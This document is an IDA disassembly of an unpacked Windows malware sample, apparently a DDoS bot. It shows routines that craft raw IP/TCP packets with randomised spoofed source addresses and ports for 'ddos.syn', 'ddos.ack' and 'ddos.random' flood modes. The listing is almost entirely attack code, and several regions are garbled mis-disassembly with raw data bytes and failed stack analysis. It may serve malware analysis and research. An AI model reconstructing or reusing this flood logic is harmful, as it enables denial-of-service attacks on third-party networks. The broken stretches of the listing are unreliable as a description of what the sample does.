;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	8CC72C8A46D64079A91036CD0F0EDA63

; File Name   :	u:\work\8cc72c8a46d64079a91036cd0f0eda63_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001C000 ( 114688.)
; Section size in file		: 0001C000 ( 114688.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: seg000:0040D364o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_41D044	; GetTickCount
		push	eax
		call	sub_4119B5
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_41F050
		push	eax
		call	sub_411963
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40F466
		add	esp, 14h


loc_401090:				; CODE XREF: start+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_408CFE
		push	[ebp+var_290]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		popf
		pop	edi
		pop	esi
start		endp ; sp-analysis failed



loc_4010B2:				; CODE XREF: sub_4013E9+40p
		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	ds:dword_431E08
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: seg000:004010E9j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_431F34
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-20h], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp-40h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-40h], edi
		call	ds:dword_431E70
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	dword ptr [ebp+14h]
		mov	word ptr [ebp-58h], 2
		call	ds:dword_431E90
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-56h], ax
		mov	[ebp-54h], esi
		mov	byte ptr [ebp-34h], 45h
		call	ds:dword_431E90
		push	dword ptr [ebp+14h]
		mov	[ebp-32h], ax
		mov	[ebp-30h], di
		mov	[ebp-2Eh], bx
		mov	byte ptr [ebp-2Ch], 80h
		mov	byte ptr [ebp-2Bh], 6
		mov	[ebp-2Ah], bx
		mov	[ebp-24h], esi
		call	ds:dword_431E90
		mov	[ebp-12h], ax
		call	sub_4119BF
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_431E90
		push	12345678h
		mov	[ebp-14h], ax
		call	ds:dword_431E8C
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp-10h], eax
		push	dword ptr [ebp+10h]
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: seg000:004011B7j
		push	offset aDdos_ack ; "ddos.ack"
		push	dword ptr [ebp+10h]
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: seg000:004011D3j
		push	offset aDdos_random ; "ddos.random"
		push	dword ptr [ebp+10h]
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_4119BF
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-0Ch], edx
		call	sub_4119BF	; CODE XREF: seg000:00401245j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-7], dl


loc_401216:				; CODE XREF: seg000:004011C0j
					; seg000:004011DCj ...
		push	4000h
		mov	byte ptr [ebp-8], 50h
		call	ds:dword_431E90
		mov	[ebp-6], ax
		lea	eax, [ebp-48h]
		push	eax
		mov	[ebp-2], bx
		mov	[ebp+10h], ebx
		call	near ptr 0A70000h
		dec	esi
		lea	eax, [ebp-1Ch]
		push	eax
		call	near ptr 0A70000h
		mov	dh, 0FFh
		jnz	short near ptr loc_4011FF+4
		mov	eax, [ebp+18h]
		cdq
		push	dword ptr [ebp-48h]
		push	edx
		push	eax
		call	sub_411E10
		add	eax, [ebp-1Ch]
		push	14h
		pop	esi
		adc	edx, [ebp-18h]
		mov	[ebp-3Ch], eax
		mov	[ebp-38h], edx
		mov	[ebp-4], bx
		call	sub_4119BF
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_431E90
		mov	[ebp-14h], ax
		call	sub_4119BF
		mov	edi, eax
		shl	edi, 10h
		call	sub_4119BF
		or	edi, eax
		push	edi
		call	ds:dword_431E90
		movzx	eax, ax
		mov	[ebp-10h], eax
		mov	eax, [ebp+0Ch]
		inc	dword ptr [ebp+0Ch]
		push	eax
		call	ds:dword_431E8C
		mov	[ebp-28h], eax
		mov	eax, [ebp-24h]
		push	esi
		mov	[ebp-74h], eax
		mov	[ebp-70h], bl
		mov	byte ptr [ebp-6Fh], 6
		call	ds:dword_431E90
		mov	[ebp-6Eh], ax
		mov	eax, [ebp-28h]
		mov	[ebp-78h], eax
		lea	eax, [ebp-78h]
		push	20h
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_411A40
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_411A40
		lea	eax, [ebp-0B4h]
		push	34h
		push	eax
		call	sub_407F85
		mov	[ebp-4], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_411A40
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_411A40
		push	4
		lea	eax, [ebp-8Ch]
		push	ebx
		push	eax
		call	sub_4119E0
		add	esp, 44h
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		call	sub_407F85
		mov	[ebp-2Ah], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_411A40
		add	esp, 14h
		lea	eax, [ebp-58h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		push	dword ptr [ebp-20h]
		call	ds:dword_431EF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+10h], eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	near ptr 0A70000h
		dec	byte ptr [ebx+453BE845h]
		enter	3C7Fh, 0Fh
		mov	edx, cs
; ---------------------------------------------------------------------------
		db 0FEh
		dd 458BFFFFh, 0C4453BE4h, 0BDE92E73h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: seg000:0040137Dj
		call	ds:dword_431E24
		push	eax
		lea	eax, [ebp-0F4h]
		push	offset unk_41F08C
		push	eax
		call	sub_411963
		lea	eax, [ebp-0F4h]
		push	eax
		call	sub_408CFE
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+10h]


loc_4013D3:				; CODE XREF: seg000:0040112Aj
					; seg000:004013CEj
		push	dword ptr [ebp-20h]
		call	ds:dword_431F28
		pop	esi


loc_4013DD:				; CODE XREF: seg000:0040110Dj
		call	ds:dword_431DF0
		mov	eax, ebx


loc_4013E5:				; CODE XREF: seg000:004010EDj
		pop	edi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: start+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_407E16
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_411ECF
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_411ECF
		mov	edi, eax
		call	sub_4119BF
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	loc_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp

; ---------------------------------------------------------------------------


loc_401447:				; DATA XREF: seg000:0040D54Co
		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+8]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1BCh]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	ds:dword_431F10
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short near ptr loc_4014E1+1
		call	ds:dword_431E24
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_41F22C


loc_401495:				; DATA XREF: seg002:off_41FB64o
		push	eax
		call	sub_411963
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_4014C5
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_40F466
		add	esp, 14h


loc_4014C5:				; CODE XREF: seg000:004014A3j
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_408CFE
		push	dword ptr [ebp-38h]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A70000h


loc_4014E1:				; CODE XREF: seg000:00401481j
		mov	ds:6AF44D8Dh, eax
		add	al, 51h
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp-0Ch], ebx
		call	ds:dword_431E70
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_401558+1
		call	ds:dword_431E24
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_41F1E0
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_40153C
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_40F466
		add	esp, 14h


loc_40153C:				; CODE XREF: seg000:0040151Aj
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_408CFE
		push	dword ptr [ebp-38h]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A70000h


loc_401558:				; CODE XREF: seg000:004014FAj
		sub	eax, 0FE48858Dh
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	50h
		dd 1ED015FFh, 0F8830043h, 8D5575FFh, 0FFFC4485h, 0F1AC68FFh
		dd 0E8500041h, 103E7h, 59DC7D39h, 57207559h, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0DEC6h, 8D14C483h, 0FFFC4485h, 4FE850FFh, 0FF000077h
		dd 74E8C875h, 59000101h, 41E85759h, 0C70066EAh,	458D106Ah
		dd 0E85057E4h, 10414h, 660CC483h, 2E445C7h, 15FF5700h
		dd 431E90h, 0E6458966h,	0FE48858Dh, 0FF50FFFFh,	431ED015h
		dd 44358B00h, 890041D0h, 7D89E845h, 89D6FF08h, 0D6FFF845h
		dd 33F8452Bh, 3E8B9D2h,	0F1F70000h, 0FD0453Bh, 19487h
		dd 41C6800h, 5C60000h, 430698h,	9015FF45h, 3900431Eh, 0A366D47Dh
		dd 43069Ah, 9C1D8966h, 66004306h, 69E3D89h, 5C60043h, 4306A0h
		dd 0A11D8880h, 66004306h, 6A23D89h, 30740043h, 10366E8h
		dd 0C1D88B00h, 5CE808E3h, 3000103h, 8E3C1D8h, 10352E8h
		dd 0C1D80300h, 48E808E3h, 3000103h, 89016AD8h, 4306A41Dh
		dd 18EB5B00h, 0FE44B5FFh, 9DE8FFFFh, 59000068h,	0D015FF50h
		dd 0A300431Eh, 4306A4h,	0A3E8458Bh, 4306A8h, 10316E8h
		dd 0B99900h, 0F7000001h, 0AC1588F9h, 0E8004306h, 10303h
		dd 100B999h, 0F9F70000h, 6AD1588h, 0F0E80043h, 99000102h
		dd 0F0B9h, 4006800h, 0F9F70000h, 0AE3D8966h, 66004306h
		dd 6B21D89h, 66420043h,	6B01589h, 0C8E80043h, 99000102h
		dd 0FFB9h, 52F9F700h, 4306B468h, 2D6E800h, 0C4830001h
		dd 0E4458D0Ch, 5750106Ah, 41C68h, 6986800h, 75FF0043h
		dd 0F415FFFCh, 8300431Eh, 874FFF8h, 0E90845FFh,	0FFFFFECAh
		dd 0FFFC75FFh, 431F2815h, 2415FF00h, 5000431Eh,	0FE48858Dh
		dd 75FFFFFFh, 48685008h, 8D0041F1h, 0FFFC4485h,	20068FFh
		dd 0E8500000h, 10776h, 3918C483h, 2075DC7Dh, 44858D57h
		dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h
		dd 0DCDDE8h, 14C48300h,	0FC44858Dh, 0E850FFFFh,	7566h
		dd 0E8C875FFh, 0FF8Bh, 0E8575959h, 66E858h, 0FC75FFDFh
		dd 1F2815FFh, 458B0043h, 6BD23308h, 0C88B3CC0h,	0F70AE8C1h
		dd 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh,	0C8858D50h
		dd 50FFFFFEh, 0FC44858Dh, 0E468FFFFh, 500041F0h, 1017AE8h
		dd 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 0DC58E8FFh, 0C4830000h
		dd 44858D14h, 50FFFFFCh, 74E1E8h, 0C875FF00h, 0FF06E8h
		dd 57595900h, 66E7D3E8h
		db 0, 35h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182E	proc near		; DATA XREF: seg000:0040D255o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_41F274
		push	eax
		call	sub_411963
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AB
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40F466
		add	esp, 14h


loc_4018AB:				; CODE XREF: sub_40182E+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_408CFE
		push	[ebp+var_10]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		mov	al, 5Fh
		pop	esi
sub_40182E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CA	proc near		; CODE XREF: sub_401B7C+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_431E08
		test	eax, eax
		jz	short loc_40190A
		xor	eax, eax
		jmp	loc_401B78
; ---------------------------------------------------------------------------


loc_40190A:				; CODE XREF: sub_4018CA+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_431F34
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401B70
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	ds:dword_431E70
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B66
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	ds:dword_431E90
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	ds:dword_431E90
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	ds:dword_431E90
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	ds:dword_431E90
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 0A70000h
		mov	eax, 50F8458Dh
		call	near ptr 0A70000h
		mov	ds:8BC475FFh, eax
		inc	ebp
		adc	al, 99h
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_411E10
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_4019F5:				; CODE XREF: sub_4018CA+25Dj
					; sub_4018CA+26Bj
		mov	[ebp+var_24], bx
		call	sub_4119BF
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_431E90
		mov	[ebp+var_34], ax
		call	sub_4119BF
		mov	edi, eax
		shl	edi, 10h
		call	sub_4119BF
		or	edi, eax
		push	edi
		call	ds:dword_431E90
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	ds:dword_431E8C
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	ds:dword_431E90
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_411A40
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_411A40
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_407F85
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_411A40
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_411A40
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_4119E0
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_407F85
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_411A40
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	ds:dword_431EF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B3A
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 0A70000h
		push	ecx
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401B63
		jl	loc_4019F5
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401B63
		jmp	loc_4019F5
; ---------------------------------------------------------------------------


loc_401B3A:				; CODE XREF: sub_4018CA+247j
		call	ds:dword_431E24
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_41F2B0
		push	eax
		call	sub_411963
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_408CFE
		add	esp, 10h
		jmp	short loc_401B66
; ---------------------------------------------------------------------------


loc_401B63:				; CODE XREF: sub_4018CA+25Bj
					; sub_4018CA+269j
		mov	ebx, [ebp+arg_8]


loc_401B66:				; CODE XREF: sub_4018CA+78j
					; sub_4018CA+297j
		push	[ebp+var_C]
		call	ds:dword_431F28
		pop	esi


loc_401B70:				; CODE XREF: sub_4018CA+5Bj
		call	ds:dword_431DF0
		mov	eax, ebx


loc_401B78:				; CODE XREF: sub_4018CA+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B7C	proc near		; CODE XREF: sub_40182E+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_407E16
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_411ECF
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_411ECF
		mov	edi, eax
		call	sub_4119BF
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4018CA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC7
		push	1
		pop	eax


loc_401BC7:				; CODE XREF: sub_401B7C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7C	endp

; ---------------------------------------------------------------------------


loc_401BD6:				; DATA XREF: seg000:0040C6A4o
		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-240h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp-9Fh]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp-0A0h], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_41D044
		call	edi ; dword_41D044
		push	eax
		call	sub_4119B5
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	ds:dword_431F10
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_401C9F
		call	ds:dword_431E24
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_41F438
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401C7F
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40F466
		add	esp, 14h


loc_401C7F:				; CODE XREF: seg000:00401C5Aj
		lea	eax, [ebp-440h]
		push	eax
		call	sub_408CFE
		push	dword ptr [ebp-0BCh]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		out	dx, eax


loc_401C9F:				; CODE XREF: seg000:00401C37j
		lea	ecx, [ebp-34h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-34h], esi
		call	ds:dword_431E70
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_401D1C+1
		call	ds:dword_431E24
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_41F3EC
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401CFD
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40F466
		add	esp, 14h


loc_401CFD:				; CODE XREF: seg000:00401CD8j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_408CFE
		push	dword ptr [ebp-0BCh]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_401D1C:				; CODE XREF: seg000:00401CB5j
		bound	ecx, [ebp-23B7Bh]
		call	dword ptr [eax-1]
		adc	eax, offset dword_431ED0
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_401D8C+1
		lea	eax, [ebp-440h]
		push	offset dword_41F3B8
		push	eax
		call	sub_411963
		cmp	[ebp-0A8h], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6D
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40F466
		add	esp, 14h


loc_401D6D:				; CODE XREF: seg000:00401D48j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_408CFE
		push	dword ptr [ebp-0BCh]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_401D8C:				; CODE XREF: seg000:00401D2Dj
		rep push 10h
		lea	eax, [ebp-44h]
		push	ebx
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		mov	word ptr [ebp-44h], 2
		push	ebx
		call	ds:dword_431E90
		mov	[ebp-42h], ax
